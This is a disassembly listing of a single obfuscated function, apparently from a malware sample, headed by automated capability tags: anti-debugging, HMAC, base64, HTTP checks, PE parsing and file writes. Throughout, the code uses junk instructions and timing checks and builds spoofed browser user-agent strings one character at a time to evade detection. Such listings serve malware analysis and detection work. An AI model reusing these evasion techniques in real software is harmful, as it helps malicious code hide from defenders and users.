Function at 0x55af30
Capabilities:
Authenticate hmac
Check http status code
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Write file on windows

Disassembly:
call fcn.00460c60
mov ecx, 0x4f
rcr ah, 0x6f
bsr eax, edi
movsx edx, ax
mov word [ebp - 0x1c20], cx
cdq
shrd eax, edi, 0xeb
mov edx, 0x70
and ecx, 0x53b1052d
xor cl, 0x5b
mov word [ebp - 0x1c1e], dx
movzx ecx, sp
mov eax, 0x65
mov word [ebp - 0x1c1c], ax
mov ecx, 0x72
mov word [ebp - 0x1c1a], cx
sar dl, 0x97
setp cl
mov edx, 0x61
shr cx, cl
mov word [ebp - 0x1c18], dx
and al, 0x76
mov eax, 0x2f
setg cl
mov dx, di
bts ecx, ebx
mov word [ebp - 0x1c16], ax
mov ecx, 0x39
bts ax, di
mov word [ebp - 0x1c14], cx
mov edx, 0x2e
clc
rol cl, 0x7d
mov word [ebp - 0x1c12], dx
cmovnp ax, ax
mov eax, 0x36
bsf cx, bx
mov word [ebp - 0x1c10], ax
shrd edx, ebp, 0xc6
rcr edx, cl
cmp ebp, edx
mov ecx, 0x30
rdtsc
mov word [ebp - 0x1c0e], cx
inc edx
sub ah, 0x2a
bsf ax, cx
mov edx, 0x20
bswap cx
mov word [ebp - 0x1c0c], dx
cwd
sub ah, bh
mov eax, 0x28
mov word [ebp - 0x1c0a], ax
inc dl
shrd eax, ebp, 0x4c
mov ecx, 0x57
rcl al, cl
mov word [ebp - 0x1c08], cx
btc eax, 0x7b
mov edx, 0x69
mov word [ebp - 0x1c06], dx
shl dx, cl
mov eax, 0x6e
bts ecx, ebp
mov word [ebp - 0x1c04], ax
and ch, cl
or dx, sp
sal cx, 0xa9
mov ecx, 0x64
test bx, cx
bswap dx
or dh, 0xe9
mov word [ebp - 0x1c02], cx
mov edx, 0x6f
clc
mov word [ebp - 0x1c00], dx
movzx ax, dh
bsr ecx, esp
mov eax, 0x77
mov word [ebp - 0x1bfe], ax
or ah, 0xc
mov ecx, 0x73
xor dl, 0xf6
shr dx, 0x22
mov word [ebp - 0x1bfc], cx
cbw
setns ch
mov edx, 0x20
btr cx, 0x4c
shrd ecx, ecx, 0xff
clc
mov word [ebp - 0x1bfa], dx
and ah, cl
mov eax, 0x4e
test esp, 0x3c793cb8
bts cx, sp
mov word [ebp - 0x1bf8], ax
mov ecx, 0x54
xor ah, 0x80
mov word [ebp - 0x1bf6], cx
adc cx, 0x40f7
shr ecx, 0xae
cmc
mov word [ebp - 0x1bf4], dx
not dx
rdtsc
cbw
mov eax, 0x36
rcl dl, cl
shrd edx, edx, 0xd9
mov dl, 0xa
mov word [ebp - 0x1bf2], ax
test bp, 0x5b15
movzx cx, bl
jmp 0x691709
call fcn.00461c70
mov eax, dword [0x507628]
cmc
xor dword [ebp - 8], eax
cmp eax, esp
xor eax, ebp
jmp 0x652630
push edx
mov ax, dx
jmp 0x7a3a67
mov edx, 0x20
test bx, 0x416b
bt eax, 0xf1
mov word [ebp - 0x17e6], dx
mov eax, 0x4d
mov dl, bl
xor ecx, 0x173b5b8e
adc dx, 0x43ae
mov word [ebp - 0x17e4], ax
mov cl, 0x51
mov ecx, 0x61
xadd eax, eax
mov word [ebp - 0x17e2], cx
rcl eax, cl
bt ecx, esi
mov edx, 0x63
rol ah, cl
movzx eax, dx
mov word [ebp - 0x17e0], dx
shl ch, 0xbe
mov eax, 0x20
mov word [ebp - 0x17de], ax
add dl, 0x77
rcl dx, cl
bt dx, 0x25
mov ecx, 0x4f
dec edx
movzx edx, di
or edx, edi
mov word [ebp - 0x17dc], cx
and dx, 0x429e
rcl dx, cl
mov edx, 0x53
sbb ecx, ebx
mov word [ebp - 0x17da], dx
mov word [ebp - 0x17d8], ax
rcl cx, 0x96
clc
cmp esp, edi
mov ecx, 0x58
mov word [ebp - 0x17d6], cx
ror ch, cl
bt ecx, 0x39
sbb edx, 0x3d2677a
mov edx, eax
shr al, cl
mov word [ebp - 0x17d4], dx
mov eax, 0x78
mov word [ebp - 0x17d2], ax
ror ch, 0xbe
mov ecx, 0x2e
bsr eax, esi
mov word [ebp - 0x17d0], cx
cwde
shl edx, cl
mov edx, 0x79
test ecx, 0x2e5f52db
cmovg eax, ecx
rcl cx, 0x56
mov word [ebp - 0x17ce], dx
mov eax, 0x3b
mov word [ebp - 0x17cc], ax
sar eax, 0x94
mov cx, di
mov ecx, 0x20
bsr eax, ecx
ror dx, cl
rol dx, 3
mov word [ebp - 0x17ca], cx
shl ax, cl
cwde
mov edx, 0x72
ror ax, cl
mov ah, 0x55
sbb cl, 0xb2
mov word [ebp - 0x17c8], dx
bts ecx, esi
mov eax, 0x76
neg cx
movsx cx, ch
cwd
mov word [ebp - 0x17c6], ax
bsf edx, ecx
and ah, 0x64
ror ax, cl
mov ecx, 0x3a
sbb dx, si
mov word [ebp - 0x17c4], cx
or ecx, esi
dec eax
sar cl, 0xab
mov edx, 0x34
sal ah, cl
bt eax, ebx
cwde
mov word [ebp - 0x17c2], dx
add edx, 0x28ee2e84
shr dl, 0xa9
mov eax, 0x32
mov word [ebp - 0x17c0], ax
rol cx, 0xee
bsf dx, dx
mov ecx, 0x2e
rol dl, cl
bts dx, cx
neg dl
mov word [ebp - 0x17be], cx
mov edx, 0x30
bts ecx, edx
btc ax, 0x2d
sal ecx, 0x27
mov word [ebp - 0x17bc], dx
mov eax, 0x29
bt ecx, 0xa4
mov word [ebp - 0x17ba], ax
mov ah, bl
sbb ah, bl
bt dx, sp
mov ecx, 0x20
or edx, ecx
setae al
mov word [ebp - 0x17b8], cx
shl eax, cl
movsx dx, dl
mov edx, 0x47
sar cx, cl
bts ax, si
mov word [ebp - 0x17b6], dx
cmc
btc eax, 0x60
clc
mov eax, 0x65
rcl dx, cl
mov word [ebp - 0x17b4], ax
mov ecx, 0x63
clc
cwde
ror dh, 0x2e
mov word [ebp - 0x17b2], cx
dec cx
movzx cx, ch
rol ecx, cl
mov edx, 0x6b
and cx, 0x480b
btc eax, 0x8a
bts cx, ax
mov word [ebp - 0x17b0], dx
mov eax, 0x6f
mov word [ebp - 0x17ae], ax
cbw
btr dx, ax
mov ecx, 0x2f
bswap ax
mov word [ebp - 0x17ac], cx
test sp, sp
bt dx, dx
mov edx, 0x32
mov word [ebp - 0x17aa], dx
lahf
mov eax, 0x30
cmp esp, esi
mov word [ebp - 0x17a8], ax
bswap edx
add ch, 0xfa
mov ecx, 0x31
btr dx, sp
shr edx, 0xd4
mov word [ebp - 0x17a6], cx
mov edx, eax
stc
mov word [ebp - 0x17a4], dx
cmp ecx, 0x6073161b
cmc
mov word [ebp - 0x17a2], ax
cbw
mov word [ebp - 0x17a0], cx
rol eax, cl
bswap ax
bts eax, edx
mov word [ebp - 0x179e], dx
sbb ax, bp
mov eax, ecx
sar cx, cl
or dx, 0x28c1
mov word [ebp - 0x179c], ax
sbb cx, bp
mov ecx, 0x20
mov word [ebp - 0x179a], cx
adc ax, si
mov edx, 0x46
not cl
cwde
cmp bx, cx
mov word [ebp - 0x1798], dx
cmp cl, 0xb7
mov eax, 0x69
movzx ecx, bp
mov word [ebp - 0x1796], ax
movsx ax, dl
not dx
adc eax, 0x10ea7b84
mov ecx, 0x72
mov word [ebp - 0x1794], cx
btr edx, 0x10
movsx dx, ch
mov edx, 0x65
mov word [ebp - 0x1792], dx
shr dh, 0x2f
mov eax, 0x66
mov word [ebp - 0x1790], ax
mov ecx, 0x6f
rdtsc
mov word [ebp - 0x178e], cx
mov edx, 0x78
rcr al, cl
bts eax, ebp
mov word [ebp - 0x178c], dx
mov eax, 0x2f
cmc
mov word [ebp - 0x178a], ax
and ax, 0x1246
bswap ax
mov ecx, 0x34
cdq
lahf
jmp loc.00417af6
mov word [ebp - 0x1dd6], dx
bts ecx, esp
mov word [ebp - 0x1dd4], ax
rol cx, cl
bt ecx, 0x1d
clc
mov ecx, 0x55
mov word [ebp - 0x1dd2], cx
sbb cx, 0xb59
btr cx, bx
mov word [ebp - 0x1dd0], dx
or ecx, esi
clc
ror dl, 0xbd
mov word [ebp - 0x1dce], ax
stc
sar ah, cl
mov ecx, 0x65
btc dx, cx
shr dh, 0xa2
mov word [ebp - 0x1dcc], cx
mov edx, 0x6e
movsx ecx, cx
dec cl
mov word [ebp - 0x1dca], dx
mov eax, 0x29
movsx ecx, ax
xor dx, bp
mov word [ebp - 0x1dc8], ax
dec al
rdtsc
stc
mov ecx, 0x20
bsf dx, sp
shr dx, cl
or eax, 0x178578d8
mov word [ebp - 0x1dc6], cx
add dh, 0x13
mov edx, 0x50
btc ecx, edx
or ax, 0x110
mov word [ebp - 0x1dc4], dx
mov eax, 0x72
dec cl
xor edx, esp
mov word [ebp - 0x1dc2], ax
jmp 0x82aa33
mov edx, 0x66
sub cx, ax
mov word [ebp - 0x1996], dx
mov eax, 0x6f
or edx, esp
sar dl, cl
mov word [ebp - 0x1994], ax
mov ecx, 0x78
or ax, ax
btc edx, ecx
mov word [ebp - 0x1992], cx
bt cx, cx
and eax, ecx
add edx, edx
mov edx, 0x2f
mov word [ebp - 0x1990], dx
xchg dx, ax
cdq
bswap eax
mov eax, 0x34
bts cx, sp
mov word [ebp - 0x198e], ax
mov ecx, 0x37
rdtsc
or ax, 0x9a6
mov word [ebp - 0x198c], cx
mov edx, 0x2e
mov word [ebp - 0x198a], dx
shl eax, 0xe5
mov eax, 0x30
bt edx, 0x50
bt edx, esi
mov word [ebp - 0x1988], ax
btc edx, 0xf3
shl dl, cl
sub ecx, ecx
mov word [ebp - 0x1986], cx
push 0x164
jmp 0x610408
push ecx
mov dl, 0x92
xchg edx, edx
bswap dx
lea edx, [ebp - 0x1984]
push edx
jmp 0x7f60b6
mov edx, 0x63
bt ax, dx
sar eax, 0x99
mov word [ebp - 0x1de2], dx
shr cl, cl
rcr dx, 0xa3
not ah
mov eax, 0x20
cmc
mov word [ebp - 0x1de0], ax
adc cx, sp
mov ecx, 0x4f
and dh, bl
mov word [ebp - 0x1dde], cx
movzx ecx, bp
not dh
mov edx, 0x53
cmovle cx, bp
btc ecx, ebx
mov word [ebp - 0x1ddc], dx
sar ch, 0x67
mov word [ebp - 0x1dda], ax
mov ecx, 0x58
cdq
add edx, 0x2f0299d
rcr edx, 0x9d
mov word [ebp - 0x1dd8], cx
or dh, 0x90
inc cl
not ch
mov edx, 0x3b
jmp 0x59707d
mov dword [ebp - 0x1c], eax
jmp 0x7e8e86
mov ecx, 0x2e
rdtsc
setnp dl
mov word [ebp - 0x1bf0], cx
mov edx, 0x30
mov word [ebp - 0x1bee], dx
rol cl, cl
neg dl
sbb dx, si
mov eax, 0x3b
neg dl
sub cx, bp
mov word [ebp - 0x1bec], ax
sub edx, esi
mov ecx, 0x20
rcl dh, cl
mov word [ebp - 0x1bea], cx
ror dh, cl
bts dx, bx
mov edx, 0x55
cmp di, cx
cmc
mov word [ebp - 0x1be8], dx
ror dh, cl
mov word [ebp - 0x1be6], ax
btr eax, eax
shl edx, 3
xadd dl, dl
mov word [ebp - 0x1be4], cx
mov edx, 0x65
sub ah, 0x53
not cx
mov word [ebp - 0x1be2], dx
mov eax, 0x6e
sub cx, si
inc dh
mov word [ebp - 0x1be0], ax
shr cl, cl
or dl, 8
stc
mov ecx, 0x29
bt dx, cx
bsr edx, edx
mov word [ebp - 0x1bde], cx
mov edx, 0x20
bsr ax, cx
shr eax, cl
mov word [ebp - 0x1bdc], dx
test di, si
cmc
mov eax, 0x50
mov word [ebp - 0x1bda], ax
cmp esi, ecx
mov ecx, 0x72
mov word [ebp - 0x1bd8], cx
mov edx, 0x65
mov word [ebp - 0x1bd6], dx
mov eax, 0x73
cwd
cmc
not dl
mov word [ebp - 0x1bd4], ax
mov ecx, 0x74
mov word [ebp - 0x1bd2], cx
mov edx, 0x6f
xor ax, bp
mov word [ebp - 0x1bd0], dx
sbb cl, dh
sar dx, cl
bts cx, ax
mov eax, 0x2f
mov word [ebp - 0x1bce], ax
movsx eax, dx
mov ecx, 0x32
rdtsc
or eax, esp
mov word [ebp - 0x1bcc], cx
sal dl, cl
mov edx, 0x2e
xor ax, bp
movsx eax, bp
sal cl, cl
mov word [ebp - 0x1bca], dx
mov eax, 0x31
shrd cx, ax, 0xe3
sub cx, sp
bts cx, sp
mov word [ebp - 0x1bc8], ax
shl cl, 0xbc
mov ecx, edx
mov word [ebp - 0x1bc6], cx
cwd
shld edx, ecx, 0xca
movsx ecx, sp
mov edx, eax
xadd ecx, ecx
cmc
mov word [ebp - 0x1bc4], dx
add ch, 0xc9
bswap ecx
rcr cx, cl
sub eax, eax
mov word [ebp - 0x1bc2], ax
movzx ecx, bx
push 0x1a0
mov ch, ch
push eax
bswap ecx
lea ecx, [ebp - 0x1bc0]
jmp 0x779f8e
push 0
mov eax, dword [0x512eb8]
push eax
call fcn.008262fd
test eax, eax
jmp 0x739568
sub eax, eax
clc
shrd ebx, esp, 0x2c
mov ecx, dword [ebp - 0x10]
bts si, bx
bt bx, 0x3c
mov dword fs:[0], ecx
pop ecx
stc
pop edi
pop esi
bswap ecx
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
jmp 0x792f82
je 0x72a347
mov ecx, 0x4f
mov word [ebp - 0x1e20], cx
movsx ecx, si
cdq
mov edx, 0x70
shr cl, cl
xor cx, 0x56ce
mov word [ebp - 0x1e1e], dx
sets al
or cx, dx
ror dl, 0xf7
mov eax, 0x65
stc
mov word [ebp - 0x1e1c], ax
mov cx, di
adc dx, bp
mov ecx, 0x72
mov word [ebp - 0x1e1a], cx
cwde
mov edx, 0x61
xadd al, al
cbw
shrd ax, si, 0x37
mov word [ebp - 0x1e18], dx
or ecx, edx
shrd dx, sp, 0xa
mov eax, 0x2f
mov word [ebp - 0x1e16], ax
sub al, cl
not al
mov ecx, 0x39
and dh, 0x9e
sar dh, cl
movsx ax, al
mov word [ebp - 0x1e14], cx
cwd
mov edx, 0x2e
xor eax, 0x11302f8f
shl ax, cl
bsf eax, ecx
mov word [ebp - 0x1e12], dx
mov eax, 0x38
inc ecx
mov word [ebp - 0x1e10], ax
ror eax, 0xa7
movzx ecx, bp
clc
mov ecx, 0x30
mov word [ebp - 0x1e0e], cx
mov edx, 0x70534b54
mov edx, 0x20
test sp, 0x276b
lahf
mov word [ebp - 0x1e0c], dx
sete cl
or dx, bp
mov eax, 0x28
mov word [ebp - 0x1e0a], ax
sets ah
cmp esp, 0x2bcd0e12
xor eax, 0x75204f49
mov ecx, 0x4d
bts ax, bp
add ax, 0x3cab
mov word [ebp - 0x1e08], cx
stc
bsr dx, dx
mov edx, 0x61
mov word [ebp - 0x1e06], dx
mov eax, 0x63
and dx, 0x1e5c
and cx, bp
mov word [ebp - 0x1e04], ax
ror dx, cl
neg ch
mov ecx, 0x69
mov word [ebp - 0x1e02], cx
btc edx, esp
rol dx, cl
cmc
mov edx, 0x6e
dec ch
stc
mov word [ebp - 0x1e00], dx
bsr dx, ax
mov eax, 0x74
sub edx, ebx
clc
mov word [ebp - 0x1dfe], ax
sal dh, cl
xor edx, 0x4f5813e5
stc
mov ecx, 0x6f
cbw
mov word [ebp - 0x1dfc], cx
mov edx, 0x73
bts eax, edx
mov word [ebp - 0x1dfa], dx
neg dh
xadd al, ah
mov eax, 0x68
or cx, 0x1768
mov word [ebp - 0x1df8], ax
movzx edx, dx
mov ecx, 0x3b
ror dl, cl
cmp ecx, edi
bswap dx
mov word [ebp - 0x1df6], cx
mov edx, 0x20
mov eax, edi
mov word [ebp - 0x1df4], dx
add cx, 0x6fbd
mov eax, 0x49
cmc
mov word [ebp - 0x1df2], ax
inc ah
sub ah, bh
mov ecx, 0x6e
mov word [ebp - 0x1df0], cx
mov edx, 0x74
bts ax, dx
clc
mov word [ebp - 0x1dee], dx
mov eax, 0x65
mov word [ebp - 0x1dec], ax
or edx, edx
mov ecx, 0x6c
mov word [ebp - 0x1dea], cx
mov edx, 0x20
mov word [ebp - 0x1de8], dx
cwde
mov al, bl
mov eax, 0x4d
and cx, di
mov word [ebp - 0x1de6], ax
xor ecx, ecx
clc
rol cx, cl
mov ecx, 0x61
shl ax, cl
btr dx, cx
mov word [ebp - 0x1de4], cx
jmp 0x61b6ec
call fcn.00460c60
mov edx, 0x4d
not ecx
rcl ax, cl
inc al
mov word [ebp - 0x1a20], dx
bsr cx, cx
test dl, al
mov eax, 0x6f
shr edx, cl
sub edx, 0x1f7e3fb5
mov word [ebp - 0x1a1e], ax
mov ecx, 0x7a
inc eax
mov word [ebp - 0x1a1c], cx
cmovno cx, dx
dec ah
mov edx, 0x69
bt ecx, 0xe
shr cl, 0x93
add ecx, 0x31300a45
mov word [ebp - 0x1a1a], dx
lahf
bt cx, 0xaf
shr cx, 0x5d
mov eax, 0x6c
cmp ch, 0xb3
sub cx, sp
mov word [ebp - 0x1a18], ax
shr cx, 0x27
cmc
mov ecx, eax
stc
mov word [ebp - 0x1a16], cx
bswap ax
mov edx, 0x61
sal cl, 9
sar al, 0x82
mov word [ebp - 0x1a14], dx
stc
shr al, 0x9a
mov eax, 0x2f
adc edx, 0x6a314224
ror cx, 0x31
mov word [ebp - 0x1a12], ax
ror ch, cl
test esi, 0x6e6451f4
and ax, di
mov ecx, 0x35
mov word [ebp - 0x1a10], cx
mov edx, 0x2e
xchg ecx, eax
bt ecx, 0x32
add ax, 0xb2e
mov word [ebp - 0x1a0e], dx
mov eax, 0x30
sal dx, cl
or ecx, esi
mov word [ebp - 0x1a0c], ax
sar cl, cl
or dx, dx
mov ecx, 0x20
btc edx, 0x3c
mov word [ebp - 0x1a0a], cx
rol dx, 0x60
bt edx, 0x28
mov edx, 0x28
movsx eax, ax
mov word [ebp - 0x1a08], dx
mov eax, 0x57
mov dl, ch
mov word [ebp - 0x1a06], ax
bt edx, esp
btr dx, 0x28
mov ecx, 0x69
sbb dx, bp
add ah, al
mov word [ebp - 0x1a04], cx
shl ax, 0x66
cmp bp, 0x6e94
rcl cl, 0xde
mov edx, 0x6e
rcl ch, 1
mov word [ebp - 0x1a02], dx
mov eax, 0x64
sar ch, 0xa4
add dl, 0xe
movsx edx, dx
mov word [ebp - 0x1a00], ax
mov ecx, 0x6f
sub edx, 0x12970b05
rol eax, cl
and al, 0x19
mov word [ebp - 0x19fe], cx
mov edx, 0x77
shr ah, cl
adc ch, 0xe7
inc ecx
mov word [ebp - 0x19fc], dx
mov eax, 0x73
bts edx, edx
mov word [ebp - 0x19fa], ax
stc
bt edx, esp
mov ecx, 0x20
xor al, 0x76
mov word [ebp - 0x19f8], cx
rol edx, 0xe0
bt edx, ecx
mov edx, 0x4e
xor eax, 0x5520569e
lahf
mov word [ebp - 0x19f6], dx
btr eax, ebp
and dx, bp
mov eax, 0x54
rcl dh, cl
shr dh, 0xcb
mov word [ebp - 0x19f4], ax
sub edx, edi
lahf
sal edx, cl
mov word [ebp - 0x19f2], cx
bt edx, esp
mov edx, 0x36
lahf
mov ax, dx
btc eax, 0x6c
mov word [ebp - 0x19f0], dx
bt ax, sp
mov eax, 0x2e
sar ch, 0x4d
mov word [ebp - 0x19ee], ax
shld ecx, edi, 0x81
sub ax, si
shr eax, cl
mov ecx, 0x31
test di, cx
mov word [ebp - 0x19ec], cx
xadd eax, ecx
neg edx
mov edx, 0x3b
sub cl, 0x6d
mov ch, dh
sar ch, 0x2e
mov word [ebp - 0x19ea], dx
mov eax, 0x20
xadd cl, ch
neg ecx
mov word [ebp - 0x19e8], ax
mov ecx, 0x57
rol ax, 0x44
mov word [ebp - 0x19e6], cx
bsr edx, ecx
setp cl
mov edx, 0x69
movzx eax, cx
or cl, 0x71
mov word [ebp - 0x19e4], dx
mov eax, 0x6e
sar cl, 0x8a
ror cx, cl
shld cx, bx, 0x15
mov word [ebp - 0x19e2], ax
xchg dh, cl
add ah, 0x88
adc dh, 0xe5
mov ecx, 0x36
mov word [ebp - 0x19e0], cx
mov edx, 0x34
movzx cx, ch
sar ah, 0xf
mov word [ebp - 0x19de], dx
mov eax, 0x3b
btc ecx, ecx
stc
mov word [ebp - 0x19dc], ax
sal dh, cl
sal dh, 0x72
mov ecx, 0x20
bt ax, 0xf9
xadd ax, dx
mov word [ebp - 0x19da], cx
rcl ax, 0xed
stc
mov edx, 0x78
test ecx, ecx
mov word [ebp - 0x19d8], dx
and ecx, 0x31c4273
add cx, ax
mov eax, 0x36
mov word [ebp - 0x19d6], ax
or cx, bx
sbb al, 0x8b
mov ecx, 0x34
cmp edi, ebp
rcl ax, cl
mov word [ebp - 0x19d4], cx
mov edx, 0x3b
shl cl, 0x98
cwde
sal cx, cl
mov word [ebp - 0x19d2], dx
cwde
mov eax, 0x20
sal cl, cl
inc ecx
btr cx, sp
mov word [ebp - 0x19d0], ax
inc ecx
cmc
mov ecx, 0x72
stc
mov word [ebp - 0x19ce], cx
add dh, ch
mov edx, 0x76
rol al, 0x7c
rcl ax, cl
mov word [ebp - 0x19cc], dx
dec al
mov eax, 0x3a
rol ch, 0x98
mov word [ebp - 0x19ca], ax
mov ecx, 0x34
shld eax, eax, 0x41
mov word [ebp - 0x19c8], cx
bt dx, 0x26
bts eax, edi
movsx eax, sp
mov edx, 0x37
cwde
bswap cx
bts cx, dx
mov word [ebp - 0x19c6], dx
xor dh, bh
mov eax, 0x2e
mov word [ebp - 0x19c4], ax
test ch, 0xaa
mov ecx, 0x30
sub dl, 0x27
movzx edx, sp
mov word [ebp - 0x19c2], cx
add eax, ebp
mov edx, 0x29
btc eax, 0x9c
mov word [ebp - 0x19c0], dx
sbb eax, 0x3828260f
movsx ax, bl
test si, 0x4aa7
mov eax, 0x20
test cl, al
bswap edx
mov word [ebp - 0x19be], ax
cmove cx, sp
shr al, 0xa9
movzx cx, bh
mov ecx, 0x47
add ax, sp
mov word [ebp - 0x19bc], cx
mov dx, di
mov edx, 0x65
test dx, 0x2918
mov word [ebp - 0x19ba], dx
mov eax, 0x63
mov word [ebp - 0x19b8], ax
rol dl, cl
mov ecx, 0x6b
mov word [ebp - 0x19b6], cx
test edi, 0x7aae5d48
movsx eax, dx
mov edx, 0x6f
movsx ecx, sp
mov word [ebp - 0x19b4], dx
mov eax, 0x2f
not ch
sub dl, 0x2e
shrd ecx, ecx, 0xce
mov word [ebp - 0x19b2], ax
shrd cx, bp, 0x2e
shld ecx, edi, 0x17
mov ecx, 0x32
sub ax, dx
mov dl, bh
bt eax, 0xbb
mov word [ebp - 0x19b0], cx
sar dh, 0x8a
mov edx, 0x30
ror ah, 0xd3
movsx ax, ah
sub eax, ebx
mov word [ebp - 0x19ae], dx
mov eax, 0x31
cmp dh, 0xe7
mov word [ebp - 0x19ac], ax
xadd ecx, ecx
sub ch, 0x18
adc ecx, 0x33e23ea1
mov ecx, edx
stc
mov word [ebp - 0x19aa], cx
mov word [ebp - 0x19a8], dx
bts edx, edi
sal dh, cl
mov word [ebp - 0x19a6], ax
shrd dx, dx, 0x24
bts dx, si
mov word [ebp - 0x19a4], cx
and cl, ah
bt edx, 0x30
add dh, ah
mov edx, eax
cmp dx, si
sal ch, cl
mov word [ebp - 0x19a2], dx
movzx eax, sp
mov eax, 0x20
bsr edx, ebx
test di, 0x36d6
sbb dl, 0xe5
mov word [ebp - 0x19a0], ax
mov ecx, 0x46
mov word [ebp - 0x199e], cx
sar cl, 0x32
cwd
bsf eax, ecx
mov edx, 0x69
mov word [ebp - 0x199c], dx
sar dl, 5
mov eax, 0x72
shl ch, cl
dec cl
rcr dh, 0xed
mov word [ebp - 0x199a], ax
rcr cx, 0x59
btc cx, ax
mov ecx, 0x65
mov word [ebp - 0x1998], cx
sal dh, 0xde
jmp 0x5b6d09
mov dword [ebp - 0x1e2c], edx
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1e28], eax
lahf
setle cl
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x1e58], ecx
mov ax, bx
bswap ax
rdtsc
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x1e5c], edx
jmp 0x84b3dd
push ecx
jmp 0x73d278
call fcn.0045ba17
mov esp, ebp
xchg ebp, ebp
mov ebp, 0xc42487c
pop ebp
jmp 0x853213
lea eax, [ebp - 0x1d8c]
push eax
jmp 0x519360
push ebx
setle bh
movsx ebx, bx
push esi
not bh
push edi
mov si, 0x6a2
jmp 0x8171a6
call fcn.00460c60
mov eax, 0x4d
mov word [ebp - 0x1820], ax
lahf
cmc
add dh, 0xbe
mov ecx, 0x6f
mov eax, 0x18502fde
rdtsc
shld dx, dx, 0x88
mov word [ebp - 0x181e], cx
mov edx, 0x7a
rol eax, 0x88
movzx cx, bh
mov word [ebp - 0x181c], dx
stc
mov dh, pe_nt_image_headers32
test esi, esp
mov eax, 0x69
btr dx, ax
shrd ecx, edi, 0xd6
or edx, 0x6d71252f
mov word [ebp - 0x181a], ax
mov ecx, 0x6c
adc dl, al
mov word [ebp - 0x1818], cx
and ax, dx
sbb al, 0x14
clc
mov edx, ecx
add ax, 0x1c81
neg ch
cmp eax, ebp
mov word [ebp - 0x1816], dx
cbw
rol ch, 0x3b
mov eax, 0x61
adc edx, edx
rol dl, 0x51
mov word [ebp - 0x1814], ax
sub edx, 0x32fa38e2
mov ecx, 0x2f
mov word [ebp - 0x1812], cx
rcr cx, cl
setae cl
xchg edx, edx
mov edx, 0x35
bsf cx, ax
mov word [ebp - 0x1810], dx
lahf
mov eax, 0x2e
mov word [ebp - 0x180e], ax
cdq
mov ecx, 0x30
movzx edx, cx
sar dx, 0x4b
mov word [ebp - 0x180c], cx
mov edx, 0x20
mov word [ebp - 0x180a], dx
mov eax, 0x28
sar cl, cl
sar edx, 0x44
inc dh
mov word [ebp - 0x1808], ax
cmovne dx, ax
bt cx, bx
neg ax
mov ecx, 0x4d
cbw
mov word [ebp - 0x1806], cx
mov edx, 0x61
stc
mov word [ebp - 0x1804], dx
movzx eax, cx
btr dx, di
mov eax, 0x63
sal ch, cl
bt ecx, 0xe1
mov word [ebp - 0x1802], ax
and ch, ch
btr eax, 0xa7
mov ecx, 0x69
neg ax
mov word [ebp - 0x1800], cx
adc edx, 0x6d943670
xor eax, eax
mov eax, 0x2e692eaa
mov edx, 0x6e
shrd ax, di, 0x85
mov word [ebp - 0x17fe], dx
sub eax, edi
ror dx, 0x7c
cwd
mov eax, 0x74
mov word [ebp - 0x17fc], ax
mov ecx, 0x6f
cmovl eax, ebp
xadd dl, ah
movzx edx, dx
mov word [ebp - 0x17fa], cx
bt edx, 0xd
add eax, esp
mov edx, 0x73
mov word [ebp - 0x17f8], dx
btc cx, 0xb
rdtsc
mov eax, 0x68
stc
mov word [ebp - 0x17f6], ax
mov ecx, 0x3b
sar ah, cl
mov word [ebp - 0x17f4], cx
mov edx, 0x20
cbw
shl ah, 0x93
shr ah, 0x3e
mov word [ebp - 0x17f2], dx
mov eax, 0x49
bsr dx, ax
mov word [ebp - 0x17f0], ax
shr edx, 0x84
mov ecx, 0x6e
or eax, 0x2eb774f7
shld edx, esi, 0x5b
ror ax, cl
mov word [ebp - 0x17ee], cx
shrd edx, eax, 0xd0
mov edx, 0x74
mov word [ebp - 0x17ec], dx
mov eax, 0x65
mov word [ebp - 0x17ea], ax
shr cl, 0x26
add ch, 0x91
mov ecx, 0x6c
mov word [ebp - 0x17e8], cx
adc dx, 0x6690
jmp 0x592d0d
push eax
mov ax, di
lea eax, [ebp - 0x10]
movzx ebx, di
mov dword fs:[0], eax
not esi
mov dword [ebp - 0x18], esp
mov ebx, dword [ebp + 8]
movsx ax, ch
mov eax, dword [ebp + 0xc]
cmovge si, bx
mov dword [ebp - 0x1e40], eax
cmovns ax, sp
mov dword [ebp - 0x1e38], ecx
mov esi, dword [ebp + 0x10]
seto cl
mov dword [ebp - 0x1e30], esi
jmp 0x74ab4c
mov ecx, 0x65
bt ax, 0x30
rcl dl, cl
mov word [ebp - 0x1dc0], cx
cmp dx, 0x7e3d
shr cx, 0x8f
mov edx, 0x73
shr cl, 0x48
bts cx, si
and ecx, ebp
mov word [ebp - 0x1dbe], dx
cmp bp, 0x6c3e
mov eax, 0x74
mov word [ebp - 0x1dbc], ax
xor dh, 0x11
rcr edx, cl
mov ecx, 0x6f
mov word [ebp - 0x1dba], cx
mov edx, 0x2f
adc cl, 0x1c
mov word [ebp - 0x1db8], dx
mov eax, 0x32
mov word [ebp - 0x1db6], ax
sar edx, cl
cmovp dx, di
mov ecx, 0x2e
rol edx, cl
mov word [ebp - 0x1db4], cx
mov edx, eax
shl ax, 0xd5
movsx ax, dh
mov word [ebp - 0x1db2], dx
or ax, cx
rcr ah, 4
mov eax, ecx
rol cx, 0x4a
shld ecx, eax, 0xb9
mov word [ebp - 0x1db0], ax
bt ecx, esp
mov ecx, 0x31
test eax, esi
add eax, edi
mov word [ebp - 0x1dae], cx
cwde
mov edx, 0x35
bswap cx
nop
cmc
mov word [ebp - 0x1dac], dx
mov cx, 0x7e14
rol cl, cl
mov eax, 0x20
bt edx, ecx
sbb cl, dl
mov word [ebp - 0x1daa], ax
rdtsc
cmovp ecx, edx
mov ecx, 0x56
movzx dx, ah
mov word [ebp - 0x1da8], cx
mov edx, 0x65
sal ax, cl
mov word [ebp - 0x1da6], dx
mov eax, 0x72
cmp dl, dh
add dx, dx
bts cx, cx
mov word [ebp - 0x1da4], ax
shr cx, cl
rcl ax, 0xb0
test edx, edi
mov ecx, 0x73
cdq
shld ax, ax, 0xae
mov word [ebp - 0x1da2], cx
mov edx, 0x69
nop
xadd eax, ecx
mov word [ebp - 0x1da0], dx
cmp bp, 0x3e16
mov eax, 0x6f
xor edx, esi
mov word [ebp - 0x1d9e], ax
shl ecx, 0x2f
movzx dx, ch
sub ch, 0x6b
mov ecx, 0x6e
mov word [ebp - 0x1d9c], cx
neg eax
mov edx, 0x2f
bts ecx, edx
cwde
xadd ch, al
